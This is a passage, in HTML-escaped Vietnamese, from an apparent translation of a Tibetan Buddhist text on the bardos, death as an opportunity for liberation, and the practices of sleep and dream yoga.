v\u1edbi c\u00fa s\u1ed1c, v\u00e0 trong th\u1ea5t v\u1ecdng b\u1ea1n \u0111i\u00ean cu\u1ed3ng tr\u1ea3i qua qu\u00e1 tr\u00ecnh t\u00e2m tr\u00ed c\u1ee7a vi\u1ec7c c\u1ed1 ki\u1ec3m l\u1ea1i nh\u1eefng g\u00ec \u0111\u00e3 m\u1ea5t. \u0110i\u1ec1u \u0111\u1eadp v\u00e0o b\u1ea1n: b\u1ea1n \u0111\u00e3 m\u1ea5t h\u1ebft m\u1ecdi th\u1ee9. T\u00e2m tr\u00ed b\u1ea1n b\u1ecb khu\u1ea5y \u0111ng, b\u1ed3n ch\u1ed3n, th\u1ebf r\u1ed3i b\u1ecb s\u1eefng s\u1edd, v\u00e0 \u00fd ngh\u0129 l\u1eafng xu\u1ed1ng. V\u00e0 r\u1ed3i c\u00f3 t\u0129nh l\u1eb7ng s\u00e2u, b\u1ea5t th\u1ea7n, g\u1ea7n nh\u01b0 kinh nghi\u1ec7m v\u1ec1 ph\u00fac l\u1ea1c. Kh\u00f4ng c\u00f2n tranh \u0111\u1ea5u, kh\u00f4ng c\u00f2n n\u1ed7 l\u1ef1c v\u00ec c\u1ea3 hai l\u00e0 v\u00f4 v\u1ecdng. B\u00e2y gi\u1edd b\u1ea1n ch\u1ec9 c\u00f2n ph\u1ea3i t\u1eeb b\u1ecf; b\u1ea1n kh\u00f4ng c\u00f3 ch\u1ecdn l\u1ef1a.<\/p>\n<p>Cho n\u00ean m\u1ed9t kho\u1ea3nh kh\u1eafc b\u1ea1n m\u1ea5t \u0111i c\u00e1i g\u00ec \u0111\u00f3 qu\u00ed b\u00e1u, v\u00e0 th\u1ebf r\u1ed3i, trong ch\u00ednh kho\u1ea3nh kh\u1eafc ti\u1ebfp, b\u1ea1n th\u1ea5y t\u00e2m tr\u00ed b\u1ea1n \u0111\u1ecdng l\u1ea1i trong tr\u1ea1ng th\u00e1i an b\u00ecnh s\u00e2u. Khi lo\u1ea1i kinh nghi\u1ec7m n\u00e0y xu\u1ea5t hi\u1ec7n, \u0111\u1eebng l\u1eadp t\u1ee9c ch\u1ea1y x\u00f4 \u0111i t\u00ecm gi\u1ea3i ph\u00e1p. V\u1eabn c\u00f2n trong tr\u1ea1ng th\u00e1i an b\u00ecnh \u0111\u00f3 m\u1ed9t ch\u1ed1c \u0111i. Cho ph\u00e9p n\u00f3 l\u00e0 k\u1ebd h\u1edf. V\u00e0 n\u1ebfu b\u1ea1n th\u1ef1c \u0111\u1ecdng l\u1ea1i trong k\u1ebd h\u1edf \u0111\u00f3, nh\u00ecn v\u00e0o trong t\u00e2m tr\u00ed c\u1ee7a b\u1ea1n, b\u1ea1n s\u1ebd b\u1eaft \u0111\u01b0\u1ee3c tho\u00e1ng nh\u00ecn v\u00e0o b\u1ea3n t\u00ednh b\u1ea5t t\u1eed c\u1ee7a t\u00e2m tr\u00ed ch\u1ee9ng ng\u1ed9.<\/p>\n<p>Nh\u1ea1y c\u1ea3m c\u1ee7a ch\u00fang ta c\u00e0ng s\u00e2u v\u00e0 t\u1ec9nh t\u00e1o c\u1ee7a ch\u00fang ta c\u00e0ng s\u1eafc b\u00e9n v\u1edbi c\u00e1c c\u01a1 h\u1ed9i tuy\u1ec7t v\u1eddi m\u00e0 s\u00e1ng su\u1ed1t tri\u1ec7t \u0111\u1ec3 \u0111\u01b0\u1ee3c g\u1ee3i l\u00ean qua nh\u1eefng k\u1ebd h\u1edf v\u00e0 vi\u1ec7c d\u1ecbch chuy\u1ec3n nh\u01b0 nh\u1eefng \u0111i\u1ec1u n\u00e0y trong cu\u1ed9c s\u1ed1ng, ch\u00fang ta s\u1ebd c\u00e0ng \u0111\u01b0\u1ee3c chu\u1ea9n b\u1ecb \u1edf b\u00ean trong nhi\u1ec1u h\u01a1n cho l\u00fac ch\u00fang xu\u1ea5t hi\u1ec7n theo c\u00e1ch m\u1ea1nh m\u1ebd h\u01a1n v\u00e0 kh\u00f4ng \u0111\u01b0\u1ee3c ki\u1ec3m so\u00e1t \u1edf ch\u1ebft.<\/p>\n<p>\u0110i\u1ec1u n\u00e0y l\u00e0 c\u1ef1c k\u00ec quan tr\u1ecdng v\u00ec gi\u00e1o hu\u1ea5n trung \u1ea5m cho ch\u00fang ta bi\u1ebft r\u1eb1ng c\u00f3 nh\u1eefng kho\u1ea3nh kh\u1eafc t\u00e2m tr\u00ed \u0111\u01b0\u1ee3c t\u1ef1 do h\u01a1n b\u00ecnh th\u01b0\u1eddng r\u1ea5t nhi\u1ec1u, nh\u1eefng kho\u1ea3nh kh\u1eafc m\u1ea1nh h\u01a1n h\u1eb3n nh\u1eefng kho\u1ea3nh kh\u1eafc kh\u00e1c, c\u00e1i mang theo \u0111\u01b0\u1ee3c g\u00e1nh n\u1eb7ng nghi\u1ec7p v\u00e0 h\u1eadu qu\u1ea3 nghi\u1ec7p m\u1ea1nh h\u01a1n nhi\u1ec1u. Kho\u1ea3nh kh\u1eafc t\u1ed1i cao trong nh\u1eefng kho\u1ea3nh kh\u1eafc n\u00e0y l\u00e0 kho\u1ea3nh kh\u1eafc ch\u1ebft. V\u1edbi kho\u1ea3nh kh\u1eafc \u0111\u00f3 th\u00e2n th\u1ec3 b\u1ecb b\u1ecf l\u1ea1i sau, v\u00e0 ch\u00fang ta \u0111\u01b0\u1ee3c cung c\u1ea5p c\u01a1 h\u1ed9i c\u00f3 kh\u1ea3 n\u0103ng l\u1edbn nh\u1ea5t cho gi\u1ea3i tho\u00e1t.<\/p>\n<p>D\u00f9 c\u00f3 th\u1ec3 l\u00e0m tr\u1ecdn vi\u1ec7c l\u00e0m ch\u1ee7 t\u00e2m linh, ch\u00fang ta b\u1ecb gi\u1edbi h\u1ea1n b\u1edfi th\u00e2n v\u00e0 nghi\u1ec7p c\u1ee7a n\u00f3. Nh\u01b0ng v\u1edbi vi\u1ec7c t\u1eeb b\u1ecf v\u1eadt l\u00ed c\u1ee7a ch\u1ebft, xu\u1ea5t hi\u1ec7n c\u01a1 h\u1ed9i tuy\u1ec7t v\u1eddi nh\u1ea5t \u0111\u1ec3 ho\u00e0n th\u00e0nh m\u1ecdi th\u1ee9 m\u00e0 ch\u00fang ta \u0111\u00e3 t\u1eebng c\u1ed1 g\u1eafng h\u1ebft s\u1ee9c trong tu luy\u1ec7n c\u1ee7a m\u00ecnh v\u00e0 trong cu\u1ed9c \u0111\u1eddi c\u1ee7a m\u00ecnh. Ngay c\u1ea3 trong tr\u01b0\u1eddng h\u1ee3p m\u1ed9t th\u1ea7y t\u1ed1i cao, ng\u01b0\u1eddi \u0111\u00e3 \u0111\u1ea1t t\u1edbi th\u1ef1c ch\u1ee9ng cao nh\u1ea5t, vi\u1ec7c t\u1eeb b\u1ecf t\u1ed1i th\u01b0\u1ee3ng, \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0 <em>parinirvana (b\u00e1t ni\u1ebft b\u00e0n),<\/em> ch\u1ec9 h\u1eebng l\u00ean l\u00fac ch\u1ebft. \u0110\u00f3 l\u00e0 l\u00ed do t\u1ea1i sao trong truy\u1ec1n th\u1ed1ng T\u00e2y T\u1ea1ng ch\u00fang t\u00f4i kh\u00f4ng k\u1ec9 ni\u1ec7m ng\u00e0y sinh c\u1ee7a c\u00e1c th\u1ea7y; ch\u00fang t\u00f4i k\u1ec9 ni\u1ec7m <em>ng\u00e0y m\u1ea5t c\u1ee7a h\u1ecd<\/em>, kho\u1ea3nh kh\u1eafc ch\u00f3i l\u1ecdi cu\u1ed1i c\u00f9ng c\u1ee7a h\u1ecd.<\/p>\n<p>Trong th\u1eddi th\u01a1 \u1ea5u c\u1ee7a t\u00f4i \u1edf T\u00e2y T\u1ea1ng v\u00e0 nh\u1eefng n\u0103m sau \u0111\u00f3, t\u00f4i \u0111\u00e3 nghe h\u1ebft chuy\u1ec7n n\u1ecd \u0111\u1ebfn chuy\u1ec7n kia v\u1ec1 nh\u1eefng ng\u01b0\u1eddi tu luy\u1ec7n v\u0129 \u0111\u1ea1i, v\u00e0 th\u1eadm ch\u00ed c\u1ea3 c\u00e1c h\u00e0nh gi\u1ea3 yogi v\u00e0 ng\u01b0\u1eddi tu h\u00e0nh d\u01b0\u1eddng nh\u01b0 b\u00ecnh th\u01b0\u1eddng, nh\u01b0ng ch\u1ebft theo c\u00e1ch th\u1ee9c tuy\u1ec7t v\u1eddi v\u00e0 x\u00fac \u0111\u1ed9ng. Kh\u00f4ng ph\u1ea3i l\u00e0 \u0111\u1ebfn ch\u00ednh ph\u00fat cu\u1ed1i c\u00f9ng h\u1ecd \u0111\u00e3 th\u1ec3 hi\u1ec7n l\u1ea7n cu\u1ed1i chi\u1ec1u s\u00e2u c\u1ee7a th\u1ef1c ch\u1ee9ng c\u1ee7a h\u1ecd v\u00e0 n\u0103ng l\u1ef1c c\u1ee7a gi\u00e1o hu\u1ea5n m\u00e0 h\u1ecd \u0111\u00e3 \u0111i t\u1edbi c\u1ee5 th\u1ec3 ho\u00e1.<a href=\"#_edn3\" name=\"_ednref3\">[iii]<\/a><\/p>\n<p>Tantra \u0110\u1ea1i To\u00e0n thi\u1ec7n (Dzogchen), nh\u1eefng gi\u00e1o hu\u1ea5n c\u1ed5 \u0111\u1ea1i, t\u1eeb \u0111\u00f3 ph\u00e1t sinh c\u00e1c h\u01b0\u1edbng d\u1eabn trung \u1ea5m, n\u00f3i v\u1ec1 m\u1ed9t con chim huy\u1ec1n tho\u1ea1i, <em>garuda<\/em>, \u0111\u01b0\u1ee3c sinh ra \u0111\u00e3 \u0111\u1ee7 l\u00f4ng \u0111\u1ee7 c\u00e1nh. H\u00ecnh \u1ea3nh n\u00e0y t\u01b0\u1ee3ng tr\u01b0ng cho b\u1ea3n t\u00ednh nguy\u00ean thu\u1ef7 c\u1ee7a ch\u00fang ta, c\u00e1i \u0111\u00e3 ho\u00e0n to\u00e0n ho\u00e0n h\u1ea3o. Con chim garuda c\u00f3 \u0111\u1ee7 l\u00f4ng \u0111\u1ee7 c\u00e1nh ngay t\u1eeb trong tr\u1ee9ng, nh\u01b0ng n\u00f3 kh\u00f4ng th\u1ec3 bay \u0111\u01b0\u1ee3c tr\u01b0\u1edbc khi n\u1edf. Ch\u1ec9 v\u00e0o kho\u1ea3nh kh\u1eafc c\u00e1i v\u1ecf v\u1ee1 m\u1edf ra, n\u00f3 m\u1edbi c\u00f3 th\u1ec3 xo\u00e8 c\u00e1nh bay l\u00ean tr\u1eddi. T\u01b0\u01a1ng t\u1ef1, c\u00e1c th\u1ea7y n\u00f3i cho ch\u00fang ta, ph\u1ea9m ch\u1ea5t c\u1ee7a ph\u1eadt t\u00ednh b\u1ecb che khu\u1ea5t b\u1edfi th\u00e2n th\u1ec3, v\u00e0 ngay khi th\u00e2n th\u1ec3 \u0111\u01b0\u1ee3c b\u1ecf \u0111i, ch\u00fang s\u1ebd hi\u1ec3n l\u1ed9 r\u1ea1ng r\u1ee1.<\/p>\n<p>L\u00ed do cho kho\u1ea3nh kh\u1eafc ch\u1ebft l\u00e0 c\u01a1 h\u1ed9i hi\u1ec7u l\u1ef1c th\u1ebf l\u00e0 v\u00ec ch\u00ednh l\u00fac \u1ea5y b\u1ea3n t\u00ednh t\u00e2m tr\u00ed c\u01a1 b\u1ea3n, Ch\u00f3i s\u00e1ng N\u1ec1n t\u1ea3ng hay \u00c1nh s\u00e1ng R\u00f5 r\u00e0ng, s\u1ebd t\u1ef1 nhi\u00ean bi\u1ec3u l\u1ed9, v\u00e0 theo c\u00e1ch r\u1ef1c r\u1ee1 v\u00e0 bao la. N\u1ebfu t\u1ea1i kho\u1ea3nh kh\u1eafc then ch\u1ed1t n\u00e0y ch\u00fang ta c\u00f3 th\u1ec3 nh\u1eadn ra Ch\u00f3i s\u00e1ng N\u1ec1n t\u1ea3ng, gi\u00e1o hu\u1ea5n cho ch\u00fang ta bi\u1ebft, ch\u00fang ta s\u1ebd \u0111\u1ea1t t\u1edbi gi\u1ea3i tho\u00e1t.<\/p>\n<p>Tuy nhi\u00ean \u0111i\u1ec1u n\u00e0y l\u00e0 kh\u00f4ng th\u1ec3 \u0111\u01b0\u1ee3c ch\u1eebng n\u00e0o b\u1ea1n ch\u01b0a tr\u1edf n\u00ean quen thu\u1ed9c v\u00e0 th\u1ef1c s\u1ef1 quen v\u1edbi b\u1ea3n t\u00ednh t\u00e2m tr\u00ed trong cu\u1ed9c \u0111\u1eddi c\u1ee7a b\u1ea1n th\u00f4ng qua tu luy\u1ec7n t\u00e2m linh. V\u00e0 \u0111\u00e2y l\u00e0 l\u00ed do t\u1ea1i sao, kh\u00e1 ng\u1ea1c nhi\u00ean, \u0111i\u1ec1u \u0111\u01b0\u1ee3c n\u00f3i trong truy\u1ec1n th\u1ed1ng c\u1ee7a ch\u00fang t\u00f4i l\u00e0 ng\u01b0\u1eddi \u0111\u01b0\u1ee3c gi\u1ea3i tho\u00e1t v\u00e0o kho\u1ea3nh kh\u1eafc ch\u1ebft \u0111\u01b0\u1ee3c coi nh\u01b0 \u0111\u01b0\u1ee3c gi\u1ea3i tho\u00e1t trong cu\u1ed9c \u0111\u1eddi <em>n\u00e0y<\/em>, v\u00e0 kh\u00f4ng trong m\u1ed9t trong nh\u1eefng tr\u1ea1ng th\u00e1i trung \u1ea5m sau ch\u1ebft; v\u00ec ch\u00ednh \u1edf b\u00ean trong cu\u1ed9c \u0111\u1eddi n\u00e0y m\u00e0 vi\u1ec7c nh\u1eadn ra b\u1ea3n ch\u1ea5t v\u1ec1 \u00c1nh s\u00e1ng R\u00f5 r\u00e0ng \u0111\u00e3 x\u1ea3y ra v\u00e0 \u0111\u01b0\u1ee3c thi\u1ebft l\u1eadp. \u0110\u00e2y l\u00e0 \u0111i\u1ec3m m\u1ea5u ch\u1ed1t c\u1ea7n hi\u1ec3u.<\/p>\n<p>&nbsp;<\/p>\n<p>NH\u1eeeNG TH\u1ef0C T\u1ea0I KH\u00c1C<\/p>\n<p>T\u00f4i \u0111\u00e3 n\u00f3i r\u1eb1ng c\u00e1c trung \u1ea5m l\u00e0 c\u01a1 h\u1ed9i, nh\u01b0ng \u0111\u00edch x\u00e1c c\u00e1i g\u00ec v\u1ec1 trung \u1ea5m m\u00e0 l\u00e0m cho ch\u00fang ta c\u00f3 th\u1ec3 n\u1eafm \u0111\u01b0\u1ee3c nh\u1eefng c\u01a1 h\u1ed9i m\u00e0 ch\u00fang \u0111em l\u1ea1i? C\u00e2u tr\u1ea3 l\u1eddi l\u00e0 \u0111\u01a1n gi\u1ea3n: Ch\u00fang l\u00e0 m\u1ecdi tr\u1ea1ng th\u00e1i kh\u00e1c nhau, v\u00e0 m\u1ecdi th\u1ef1c t\u1ea1i kh\u00e1c nhau, c\u1ee7a t\u00e2m tr\u00ed.<\/p>\n<p>Trong hu\u1ea5n luy\u1ec7n Ph\u1eadt gi\u00e1o ch\u00fang t\u00f4i chu\u1ea9n b\u1ecb, th\u00f4ng qua thi\u1ec1n, \u0111\u1ec3 kh\u00e1m ph\u00e1 ch\u00ednh x\u00e1c c\u00e1c kh\u00eda c\u1ea1nh c\u00f3 quan h\u1ec7 l\u1eabn nhau c\u1ee7a t\u00e2m tr\u00ed, v\u00e0 m\u1ed9t c\u00e1ch kh\u00e9o l\u00e9o \u0111i v\u00e0o c\u00e1c m\u1ee9c \u0111\u1ed9 t\u00e2m th\u1ee9c kh\u00e1c nhau. C\u00f3 m\u1ed1i quan h\u1ec7 ph\u00e2n bi\u1ec7t v\u00e0 \u0111\u00edch x\u00e1c gi\u1eefa c\u00e1c tr\u1ea1ng th\u00e1i trung \u1ea5m v\u00e0 m\u1ee9c \u0111\u1ed9 t\u00e2m th\u1ee9c ch\u00fang ta tr\u1ea3i nghi\u1ec7m qua v\u00f2ng sinh t\u1eed. Cho n\u00ean ch\u00fang ta chuy\u1ec3n t\u1eeb trung \u1ea5m n\u00e0y sang trung \u1ea5m kh\u00e1c, c\u1ea3 trong s\u1ed1ng v\u00e0 ch\u1ebft, c\u00f3 s\u1ef1 thay \u0111\u1ed5i t\u01b0\u01a1ng \u1ee9ng trong t\u00e2m th\u1ee9c m\u00e0, th\u00f4ng qua tu luy\u1ec7n t\u00e2m linh, ch\u00fang ta c\u00f3 th\u1ec3 l\u00e0m cho b\u1ea3n th\u00e2n ch\u00fang ta quen m\u1ed9t c\u00e1ch t\u01b0\u1eddng t\u1eadn, v\u00e0 chung cu\u1ed9c, \u0111i \u0111\u1ebfn ho\u00e0n to\u00e0n hi\u1ec3u th\u1ea5u.<\/p>\n<p>V\u00ec qu\u00e1 tr\u00ecnh b\u1ed9c l\u1ed9 ra trong trung \u1ea5m c\u1ee7a ch\u1ebft \u0111\u01b0\u1ee3c nh\u00fang v\u00e0o trong chi\u1ec1u s\u00e2u c\u1ee7a t\u00e2m tr\u00ed ch\u00fang ta, n\u00f3 bi\u1ec3u l\u1ed9 trong cu\u1ed9c s\u1ed1ng c\u0169ng \u1edf nhi\u1ec1u m\u1ee9c. Ch\u1eb3ng h\u1ea1n c\u00f3 t\u01b0\u01a1ng \u1ee9ng sinh \u0111\u1ed9ng gi\u1eefa c\u00e1c b\u1eadc trong s\u1ef1 tinh t\u1ebf c\u1ee7a t\u00e2m th\u1ee9c m\u00e0 ch\u00fang ta chuy\u1ec3n qua trong ng\u1ee7 v\u00e0 m\u01a1, v\u00e0 v\u1edbi ba trung \u1ea5m li\u00ean k\u1ebft v\u1edbi ch\u1ebft:<\/p>\n<ul>\n<li>\u0110i v\u00e0o ng\u1ee7 l\u00e0 t\u01b0\u01a1ng t\u1ef1 nh\u01b0 trung \u1ea5m c\u1ee7a ch\u1ebft, n\u01a1i c\u00e1c y\u1ebfu t\u1ed1 v\u00e0 qu\u00e1 tr\u00ecnh \u00fd ngh\u0129 tan bi\u1ebfn, m\u1edf v\u00e0o tr\u1ea3i nghi\u1ec7m v\u1ec1 Ch\u00f3i s\u00e1ng N\u1ec1n t\u1ea3ng.<\/li>\n<li>Vi\u1ec7c m\u01a1 na n\u00e1 nh\u01b0 trung \u1ea5m tr\u1edf th\u00e0nh, giai \u0111o\u1ea1n trung gian t\u1ea1i \u0111\u00f3 b\u1ea1n c\u00f3 &#8220;th\u00e2n t\u00e2m tr\u00ed&#8221; linh \u0111\u1ed9ng cao \u0111\u1ed9 v\u00e0 s\u00e1ng su\u1ed1t, \u0111i qua m\u1ecdi lo\u1ea1i kinh nghi\u1ec7m. Trong tr\u1ea1ng th\u00e1i m\u01a1 n\u1eefa ch\u00fang ta c\u0169ng c\u00f3 lo\u1ea1i th\u00e2n t\u01b0\u01a1ng t\u1ef1, th\u00e2n m\u01a1, trong \u0111\u00f3 ch\u00fang ta tr\u1ea3i qua m\u1ecdi kinh nghi\u1ec7m c\u1ee7a cu\u1ed9c s\u1ed1ng m\u01a1.<\/li>\n<li>Gi\u1eefa trung \u1ea5m ch\u1ebft v\u00e0 trung \u1ea5m tr\u1edf th\u00e0nh l\u00e0 m\u1ed9t tr\u1ea1ng th\u00e1i r\u1ea5t \u0111\u1eb7c bi\u1ec7t v\u1ec1 ch\u00f3i s\u00e1ng hay \u00c1nh s\u00e1ng R\u00f5 r\u00e0ng, \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0, nh\u01b0 t\u00f4i v\u1eabn n\u00f3i, &#8220;trung \u1ea5m ph\u00e1p t\u00ednh.&#8221; \u0110\u00e2y l\u00e0 kinh nghi\u1ec7m xu\u1ea5t hi\u1ec7n v\u1edbi m\u1ecdi ng\u01b0\u1eddi, nh\u01b0ng r\u1ea5t \u00edt ng\u01b0\u1eddi th\u1eadm ch\u00ed ch\u00fa \u00fd \u0111\u1ebfn n\u00f3, \u0111\u1ec3 m\u1ed9t m\u00ecnh tr\u1ea3i nghi\u1ec7m n\u00f3 m\u1ed9t c\u00e1ch \u0111\u1ea7y \u0111\u1ee7, v\u00ec n\u00f3 ch\u1ec9 c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c nh\u1eadn ra b\u1edfi nh\u1eefng ng\u01b0\u1eddi tu luy\u1ec7n \u0111\u01b0\u1ee3c hu\u1ea5n luy\u1ec7n. Trung \u1ea5m ph\u00e1p t\u00ednh n\u00e0y t\u01b0\u01a1ng \u1ee9ng v\u1edbi th\u1eddi k\u00ec sau khi r\u01a1i v\u00e0o ng\u1ee7 v\u00e0 tr\u01b0\u1edbc khi m\u01a1 b\u1eaft \u0111\u1ea7u.<\/li>\n<\/ul>\n<p>T\u1ea5t nhi\u00ean trung \u1ea5m ch\u1ebft l\u00e0 tr\u1ea1ng th\u00e1i t\u00e2m th\u1ee9c s\u00e2u h\u01a1n nhi\u1ec1u so v\u1edbi tr\u1ea1ng th\u00e1i ng\u1ee7 v\u00e0 m\u01a1, v\u00e0 c\u0169ng l\u00e0 nh\u1eefng kho\u1ea3nh kh\u1eafc m\u1ea1nh m\u1ebd h\u01a1n nhi\u1ec1u, nh\u01b0ng c\u00e1c m\u1ee9c \u0111\u1ed9 vi t\u1ebf t\u01b0\u01a1ng \u0111\u1ed1i c\u1ee7a ch\u00fang t\u01b0\u01a1ng \u1ee9ng v\u00e0 ch\u1ec9 ra lo\u1ea1i li\u00ean k\u1ebft v\u00e0 lo\u1ea1i song song t\u1ed3n t\u1ea1i gi\u1eefa m\u1ecdi m\u1ee9c \u0111\u1ed9 t\u00e2m th\u1ee9c kh\u00e1c nhau. C\u00e1c th\u1ea7y th\u01b0\u1eddng d\u00f9ng vi\u1ec7c so s\u00e1nh \u0111\u1eb7c bi\u1ec7t n\u00e0y \u0111\u1ec3 ch\u1ec9 ra vi\u1ec7c duy tr\u00ec nh\u1eadn bi\u1ebft trong c\u00e1c giai \u0111o\u1ea1n trung \u1ea5m l\u00e0 kh\u00f3 kh\u0103n l\u00e0m sao. Bao nhi\u00eau ng\u01b0\u1eddi trong ch\u00fang ta nh\u1eadn bi\u1ebft v\u1ec1 thay \u0111\u1ed5i trong t\u00e2m th\u1ee9c khi ch\u00fang ta r\u01a1i v\u00e0o gi\u1ea5c ng\u1ee7? Hay v\u1ec1 kho\u1ea3nh kh\u1eafc ng\u1ee7 tr\u01b0\u1edbc khi m\u01a1 b\u1eaft \u0111\u1ea7u? Bao nhi\u00eau ng\u01b0\u1eddi trong ch\u00fang ta nh\u1eadn bi\u1ebft ngay c\u1ea3 khi ch\u00fang ta \u0111ang m\u01a1 r\u1eb1ng ch\u00fang ta \u0111ang trong m\u01a1? V\u1eady, t\u01b0\u1edfng t\u01b0\u1ee3ng kh\u00f3 l\u00e0m sao \u0111\u1ec3 v\u1eabn c\u00f2n nh\u1eadn bi\u1ebft trong s\u1ef1 r\u1ed1i lo\u1ea1n c\u1ee7a trung \u1ea5m c\u1ee7a ch\u1ebft.<\/p>\n<p>C\u00e1ch t\u00e2m tr\u00ed b\u1ea1n trong tr\u1ea1ng th\u00e1i ng\u1ee7 v\u00e0 m\u01a1 ch\u1ec9 ra c\u00e1ch t\u00e2m tr\u00ed b\u1ea1n s\u1ebd \u1edf t\u01b0\u01a1ng \u1ee9ng trong c\u00e1c tr\u1ea1ng th\u00e1i trung \u1ea5m; ch\u1eb3ng h\u1ea1n, c\u00e1ch b\u1ea1n ph\u1ea3n \u1ee9ng v\u1edbi m\u01a1, \u00e1c m\u1ed9ng v\u00e0 nh\u1eefng kh\u00f3 kh\u0103n b\u00e2y gi\u1edd ch\u1ec9 ra c\u00e1ch b\u1ea1n c\u00f3 th\u1ec3 ph\u1ea3n \u1ee9ng sau khi b\u1ea1n ch\u1ebft.<\/p>\n<p>\u0110\u00e2y l\u00e0 l\u00ed do t\u1ea1i sao yoga v\u1ec1 ng\u1ee7 v\u00e0 m\u01a1 gi\u1eef ph\u1ea7n quan tr\u1ecdng nh\u01b0 v\u1eady trong chu\u1ea9n b\u1ecb cho ch\u1ebft. \u0110i\u1ec1u m\u00e0 ng\u01b0\u1eddi tu luy\u1ec7n th\u1ef1c t\u00ecm ki\u1ebfm \u0111\u1ec3 l\u00e0m l\u00e0 gi\u1eef cho nh\u1eadn bi\u1ebft c\u1ee7a m\u00ecnh v\u1ec1 b\u1ea3n t\u00ednh t\u00e2m tr\u00ed qua ng\u00e0y v\u00e0 \u0111\u00eam kh\u00f4ng lung lay, kh\u00f4ng b\u1ecb ph\u00e1 hu\u1ef7, v\u00e0 do v\u1eady d\u00f9ng tr\u1ef1c ti\u1ebfp c\u00e1c pha kh\u00e1c c\u1ee7a ng\u1ee7 v\u00e0 m\u01a1 \u0111\u1ec3 nh\u1eadn ra v\u00e0 tr\u1edf n\u00ean quen thu\u1ed9c v\u1edbi \u0111i\u1ec1u s\u1ebd x\u1ea3y ra trong c\u00e1c trung \u1ea5m trong v\u00e0 sau ch\u1ebft.<\/p>\n<p>V\u1eady ch\u00fang ta th\u1ea5y hai trung \u1ea5m kh\u00e1c th\u01b0\u1eddng \u0111\u01b0\u1ee3c bao g\u1ed3m <em>b\u00ean trong <\/em>trung \u1ea5m t\u1ef1 nhi\u00ean c\u1ee7a cu\u1ed9c s\u1ed1ng n\u00e0y: trung \u1ea5m c\u1ee7a ng\u1ee7 v\u00e0 m\u01a1, v\u00e0 trung \u1ea5m c\u1ee7a thi\u1ec1n. Thi\u1ec1n l\u00e0 tu luy\u1ec7n c\u1ee7a ng\u00e0y, v\u00e0 ng\u1ee7 v\u00e0 m\u01a1 yoga l\u00e0 tu luy\u1ec7n c\u1ee7a \u0111\u00eam. Theo truy\u1ec1n th\u1ed1ng theo \u0111\u00f3 <em>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em> thu\u1ed9c v\u1ec1, hai trung \u1ea5m n\u00e0y \u0111\u01b0\u1ee3c th\u00eam v\u00e0o v\u1edbi b\u1ed1n trung \u1ea5m t\u1ea1o th\u00e0nh m\u1ed9t chu\u1ed7i s\u00e1u trung \u1ea5m.<\/p>\n<p>&nbsp;<\/p>\n<p>S\u1ed0NG V\u00c0 CH\u1ebeT TRONG L\u00d2NG B\u00c0N TAY<\/p>\n<p>T\u1eebng trung \u1ea5m c\u00f3 m\u1ed9t t\u1eadp duy nh\u1ea5t ri\u00eang c\u1ee7a n\u00f3 v\u1ec1 c\u00e1c ch\u1ec9 d\u1eabn v\u00e0 tu luy\u1ec7n thi\u1ec1n, \u0111i\u1ec1u h\u01b0\u1edbng ch\u00ednh x\u00e1c \u0111\u1ebfn nh\u1eefng th\u1ef1c t\u1ea1i \u0111\u00f3 v\u00e0 nh\u1eefng tr\u1ea1ng th\u00e1i \u0111\u1eb7c bi\u1ec7t c\u1ee7a t\u00e2m tr\u00ed. \u0110\u00e2y l\u00e0 c\u00e1ch tu luy\u1ec7n v\u00e0 hu\u1ea5n luy\u1ec7n t\u00e2m linh \u0111\u01b0\u1ee3c thi\u1ebft k\u1ebf cho t\u1eebng tr\u1ea1ng th\u00e1i trung \u1ea5m, c\u00f3 th\u1ec3 t\u1ea1o kh\u1ea3 n\u0103ng cho ch\u00fang ta d\u00f9ng ch\u00fang v\u00e0 c\u00e1c c\u01a1 h\u1ed9i c\u1ee7a ch\u00fang m\u1ed9t c\u00e1ch \u0111\u1ea7y \u0111\u1ee7 nh\u1ea5t cho gi\u1ea3i tho\u00e1t. \u0110i\u1ec3m b\u1ea3n ch\u1ea5t \u0111\u1ec3 hi\u1ec3u v\u1ec1 c\u00e1c trung \u1ea5m l\u00e0 th\u1ebf n\u00e0y: b\u1eb1ng vi\u1ec7c tu\u00e2n theo hu\u1ea5n luy\u1ec7n v\u1ec1 c\u00e1c tu luy\u1ec7n n\u00e0y, <em>th\u1ef1c t\u1ea1i c\u00f3 th\u1ec3 nh\u1eadn ra c\u00e1c tr\u1ea1ng th\u00e1i t\u00e2m tr\u00ed n\u00e0y trong khi ch\u00fang ta v\u1eabn \u0111ang s\u1ed1ng<\/em>. Ch\u00fang ta th\u1ef1c t\u1ea1i c\u00f3 th\u1ec3 tr\u1ea3i nghi\u1ec7m ch\u00fang trong khi ch\u00fang ta \u0111ang \u1edf \u0111\u00e2y b\u00e2y gi\u1edd.<\/p>\n<p>Ki\u1ec3u l\u00e0m ch\u1ee7 ho\u00e0n to\u00e0n c\u00e1c chi\u1ec1u h\u01b0\u1edbng kh\u00e1c nhau c\u1ee7a t\u00e2m tr\u00ed d\u01b0\u1eddng nh\u01b0 r\u1ea5t kh\u00f3 hi\u1ec3u th\u1ea5u \u0111\u1ed1i v\u1edbi ng\u01b0\u1eddi ph\u01b0\u01a1ng T\u00e2y, nh\u01b0ng n\u00f3 kh\u00f4ng ng\u1ee5 \u00fd l\u00e0 kh\u00f4ng th\u1ec3 \u0111\u1ea1t \u0111\u01b0\u1ee3c.<\/p>\n<p>Kunu Lama Tenzin Gyaltsen l\u00e0 m\u1ed9t th\u1ea7y to\u00e0n n\u0103ng, xu\u1ea5t th\u00e2n t\u1eeb v\u00f9ng Himalaya b\u1eafc \u1ea4n \u0110\u1ed9. Khi c\u00f2n tr\u1ebb \u00f4ng \u1ea5y \u0111\u00e3 g\u1eb7p m\u1ed9t L\u1ea1t ma \u1edf Sikkim, v\u1ecb n\u00e0y \u0111\u00e3 khuy\u00ean \u00f4ng \u1ea5y \u0111\u1ebfn T\u00e2y T\u1ea1ng \u0111\u1ec3 theo \u0111u\u1ed5i c\u00e1c h\u1ecdc t\u1eadp v\u1ec1 Ph\u1eadt gi\u00e1o. Th\u1ebf l\u00e0 \u00f4ng \u1ea5y \u0111\u00e3 t\u1edbi Kham \u1edf mi\u1ec1n \u0111\u00f4ng T\u00e2y T\u1ea1ng, \u1edf \u0111\u00f3 \u00f4ng \u1ea5y nh\u1eadn \u0111\u01b0\u1ee3c gi\u00e1o hu\u1ea5n t\u1eeb m\u1ed9t 